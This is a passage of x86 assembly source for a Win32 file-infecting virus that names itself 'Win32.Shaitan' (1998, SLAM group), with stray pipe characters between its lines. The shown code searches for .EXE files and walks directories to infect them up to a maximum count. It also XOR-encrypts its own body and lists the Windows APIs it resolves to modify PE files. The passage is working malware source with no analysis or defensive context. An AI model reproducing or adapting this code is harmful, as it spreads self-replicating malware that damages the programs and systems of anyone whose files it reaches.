add eax,ebp ; Adjust with delta...
|
||
|
mov [testfile+ebp],eax ; Save pointer to it...
|
||
|
|
||
|
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
|
||
|
jne icd_findnext ; Way to big for us!
|
||
|
|
||
|
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
|
||
|
mov [adj_filesize+ebp],eax ; Save it
|
||
|
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
|
||
|
|
||
|
call InfectFile ; Infect file "testfile"
|
||
|
cmp eax,0 ; Successful?
|
||
|
je icd_findnext ; No. Search for next file...
|
||
|
inc [infect_counter+ebp] ; Yes. Increment counter
|
||
|
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
|
||
|
je close_file_handle ; Yes. Don't infect any more
|
||
|
|
||
|
icd_findnext:
|
||
|
push ebp ; Save delta pointer
|
||
|
mov eax,offset wfd_icd ; Offset of WFD structure
|
||
|
add eax,ebp ; Adjust with delta pointer
|
||
|
push eax ; Push up the stack
|
||
|
push [icd_search_handle+ebp] ; Push search handle too
|
||
|
mov eax,[_FindNextFileA+ebp] ; Address of API to call
|
||
|
call eax ; Call API
|
||
|
pop ebp ; Restore delta pointer
|
||
|
|
||
|
cmp eax,L 0 ; No match found?
|
||
|
je close_file_handle ; No. Cannot proceed...
|
||
|
|
||
|
mov eax,offset wfd_icd.cFileName ; Get filename of match file
|
||
|
add eax,ebp ; Adjust with delta...
|
||
|
mov [testfile+ebp],eax ; Save pointer to it...
|
||
|
|
||
|
cmp [wfd_icd.nFileSizeHigh+ebp],0 ; High 32-bits of filesize
|
||
|
jne icd_findnext ; Way too big! Next...
|
||
|
|
||
|
mov eax,[wfd_icd.nFileSizeLow+ebp] ; Get filesize...
|
||
|
mov [adj_filesize+ebp],eax ; Save it
|
||
|
mov [new_filesize+ebp],eax ; Save it (this'll change l8r)
|
||
|
|
||
|
call InfectFile ; Infect file "testfile"
|
||
|
cmp eax,0 ; Successful?
|
||
|
je icd_findnext ; No. Search for next file...
|
||
|
inc [infect_counter+ebp] ; Yes. Increment counter
|
||
|
cmp [infect_counter+ebp],MAX_INFECT ; Max infect count reached?
|
||
|
jne icd_findnext ; No. Search next...
|
||
|
|
||
|
close_file_handle:
|
||
|
push ebp ; Save delta
|
||
|
mov eax,[icd_search_handle+ebp] ; Handle of search
|
||
|
push eax ; Push it onto stack
|
||
|
mov eax,[_FindClose+ebp] ; Get address of API to call
|
||
|
call eax ; Call API
|
||
|
pop ebp ; Restore delta
|
||
|
|
||
|
icd_end:
|
||
|
ret
|
||
|
|
||
|
;----------------------------------------------------------------------------
|
||
|
; Search&InfectDirs -
|
||
|
;----------------------------------------------------------------------------
|
||
|
Search&InfectDirs:
|
||
|
call SetDir ; Change to directory in EAX
|
||
|
cmp eax,0 ; Failure?
|
||
|
je sid_end ; Yeah. Quit...
|
||
|
|
||
|
push ebp ; Save delta
|
||
|
mov eax,offset wfd_dir ; Address of struct to hold find-data
|
||
|
add eax,ebp ; Adjust with delta
|
||
|
push eax ; Push onto stack
|
||
|
mov eax,offset dir_match ; File pattern to search for...
|
||
|
push eax ; Push onto stack
|
||
|
mov eax,[_FindFirstFileA+ebp]; API to call
|
||
|
call eax ; Call API
|
||
|
pop ebp ; Restore delta
|
||
|
|
||
|
cmp eax,0ffffffffh ; No match???
|
||
|
je sid_end ; Yes. Can't continue...
|
||
|
|
||
|
mov [dir_search_handle+ebp],eax ; Save search handle
|
||
|
|
||
|
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
|
||
|
jne sid_next_dir ; Not a directory, serch for next...
|
||
|
|
||
|
mov eax,offset wfd_dir.cFileName; Name of found directory
|
||
|
add eax,ebp ; Adjust with delta
|
||
|
call SetDir ; Change to that directory
|
||
|
|
||
|
call InfectCurrentDirectory ; Infect files there
|
||
|
|
||
|
mov eax,offset dot_dot ; Move one directory down (..)
|
||
|
add eax,ebp ; Adjust with delta
|
||
|
call SetDir ; Change to that directory
|
||
|
|
||
|
cmp [infect_counter+ebp],MAX_INFECT ; Max. # of files infected?
|
||
|
je close_dir_handle ; Yes. Don't continue...
|
||
|
|
||
|
sid_next_dir:
|
||
|
push ebp ; Save delta
|
||
|
mov eax,offset wfd_dir ; Find-data structure
|
||
|
add eax,ebp ; Adjust with delta
|
||
|
push eax ; Push onto stack
|
||
|
push [dir_search_handle+ebp] ; Push search handle too
|
||
|
mov eax,[_FindNextFileA+ebp] ; API to call
|
||
|
call eax ; Call API
|
||
|
pop ebp ; Restore delta
|
||
|
|
||
|
cmp eax,L 0 ; No more dirs?
|
||
|
je close_dir_handle ; No. Exit...
|
||
|
|
||
|
cmp [wfd_dir.dwFileAttributes+ebp],FILE_ATTRIBUTE_DIRECTORY
|
||
|
jne sid_next_dir ; Not a directory. Search again...
|
||
|
|
||
|
mov eax,offset wfd_dir.cFileName; Name of found directory
|
||
|
add eax,ebp ; Adjust
|
||
|
call SetDir ; Change to found directory
|
||
|
|
||
|
call InfectCurrentDirectory ; Infect files in directory
|
||
|
|
||
|
mov eax,offset dot_dot ; Move back one directory
|
||
|
add eax,ebp ; Adjust...
|
||
|
call SetDir ; Change to that directory
|
||
|
|
||
|
cmp [infect_counter+ebp],MAX_INFECT ; Max # of files infected?
|
||
|
je close_dir_handle ; Yes. Don't continue...
|
||
|
|
||
|
jmp sid_next_dir ; Loop...
|
||
|
|
||
|
close_dir_handle:
|
||
|
push ebp ; Save delta
|
||
|
mov eax,[dir_search_handle+ebp] ; Handle of search
|
||
|
push eax ; Push it onto stack
|
||
|
mov eax,[_FindClose+ebp] ; Get address of API to call
|
||
|
call eax ; Call API
|
||
|
pop ebp ; Restore delta
|
||
|
|
||
|
sid_end:
|
||
|
ret ; Return to caller
|
||
|
|
||
|
;----------------------------------------------------------------------------
|
||
|
; Crypt - En/Decrypts vx data
|
||
|
;----------------------------------------------------------------------------
|
||
|
crypt:
|
||
|
mov esi,offset crypt_start ; Start of data to en/decrypt
|
||
|
add esi,ebp ; Adjust with delta
|
||
|
mov ah,byte ptr [key+ebp] ; Retrieve encryption key
|
||
|
mov ecx,crypt_end - crypt_start ; No. of bytes to encrypt
|
||
|
crypt_loop:
|
||
|
xor byte ptr [esi],ah ; Encrypt one byte
|
||
|
inc esi ; Point to next byte to encrypt
|
||
|
loop crypt_loop ; Loop till done...
|
||
|
ret ; Return to caller
|
||
|
|
||
|
;----------------------------------------------------------------------------
|
||
|
; Virus data -
|
||
|
;----------------------------------------------------------------------------
|
||
|
crypt_start:
|
||
|
|
||
|
testfile dd ?
|
||
|
file_handle dd ?
|
||
|
map_handle dd ?
|
||
|
view_address dd ?
|
||
|
file_match db "*.EXE",0
|
||
|
dir_match db "*.*",0
|
||
|
wfd_icd WIN32_FIND_DATA ?
|
||
|
wfd_dir WIN32_FIND_DATA ?
|
||
|
adj_filesize dd ?
|
||
|
new_filesize dd ?
|
||
|
PE_hdr dd ?
|
||
|
ori_ip dd ?
|
||
|
new_ip dd ?
|
||
|
temp_ip dd ?
|
||
|
file_align dd ?
|
||
|
ori_size_of_rawdata dd ?
|
||
|
size_of_rawdata dd ?
|
||
|
inc_size_of_rawdata dd ?
|
||
|
module_base dd ?
|
||
|
infect_status dd ?
|
||
|
infect_counter dd ?
|
||
|
icd_search_handle dd ?
|
||
|
dir_search_handle dd ?
|
||
|
start_dir db 128 dup (0)
|
||
|
win_dir db 128 dup (0)
|
||
|
root_dir_c db "C:\",0
|
||
|
root_dir_d db "D:\",0
|
||
|
dot_dot db "..",0
|
||
|
ori_attrib dd ?
|
||
|
|
||
|
NumberOfFunctions dd ?
|
||
|
AddressOfFunctions dd ?
|
||
|
AddressOfNames dd ?
|
||
|
AddressOfOrdinals dd ?
|
||
|
|
||
|
GPA_string db "GetProcAddress",0
|
||
|
GPA_string_len equ $ - offset GPA_string
|
||
|
_GetProcAddress dd ?
|
||
|
|
||
|
GMH_string db "GetModuleHandleA",0
|
||
|
GMH_string_len equ $ - offset GMH_string
|
||
|
|
||
|
; ASCIIZ strings of all API functions we need. The DWORDs following the API
|
||
|
; names will store their respective addresses...
|
||
|
API_strings:
|
||
|
CF_string db "CreateFileA",0
|
||
|
_CreateFileA dd ?
|
||
|
CFM_string db "CreateFileMappingA",0
|
||
|
_CreateFileMappingA dd ?
|
||
|
MVOF_string db "MapViewOfFile",0
|
||
|
_MapViewOfFile dd ?
|
||
|
CH_string db "CloseHandle",0
|
||
|
_CloseHandle dd ?
|
||
|
FFF_string db "FindFirstFileA",0
|
||
|
_FindFirstFileA dd ?
|
||
|
FNF_string db "FindNextFileA",0
|
||
|
_FindNextFileA dd ?
|
||
|
FC_string db "FindClose",0
|
||
|
_FindClose dd ?
|
||
|
SFP_string db "SetFilePointer",0
|
||
|
_SetFilePointer dd ?
|
||
|
SEOF_string db "SetEndOfFile",0
|
||
|
_SetEndOfFile dd ?
|
||
|
GCD_string db "GetCurrentDirectoryA",0
|
||
|
_GetCurrentDirectory dd ?
|
||
|
SCD_string db "SetCurrentDirectoryA",0
|
||
|
_SetCurrentDirectory dd ?
|
||
|
GWD_string db "GetWindowsDirectoryA",0
|
||
|
_GetWindowsDirectory dd ?
|
||
|
GCL_string db "GetCommandLineA",0
|
||
|
_GetCommandLine dd ?
|
||
|
UVOF_string db "UnmapViewOfFile",0
|
||
|
_UnmapViewOfFile dd ?
|
||
|
GFA_string db "GetFileAttributesA",0
|
||
|
_GetFileAttributes dd ?
|
||
|
SFA_string db "SetFileAttributesA",0
|
||
|
_SetFileAttributes dd ?
|
||
|
GDT_string db "GetDriveTypeA",0
|
||
|
_GetDriveType dd ?
|
||
|
NoMoreAPI_string dd 'SLAM'
|
||
|
|
||
|
k32_string db "KERNEL32.DLL",0
|
||
|
kernel32 dd ?
|
||
|
|
||
|
; Take credit for writing all this stuff :) ...
|
||
|
copyright db "Win32.Shaitan (c) 1998 The Shaitan [SLAM]",0
|
||
|
|
||
|
; Now do a Dark Avenger impersonation :P
|
||
|
dav_string db "This virus was written in the city of Mumbai",0
|
||
|
|
||
|
crypt_end:
|
||
|
|
||
|
key db 0
|
||
|
|
||
|
v_end:
|
||
|
|
||
|
ends
|
||
|
end v_start
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
|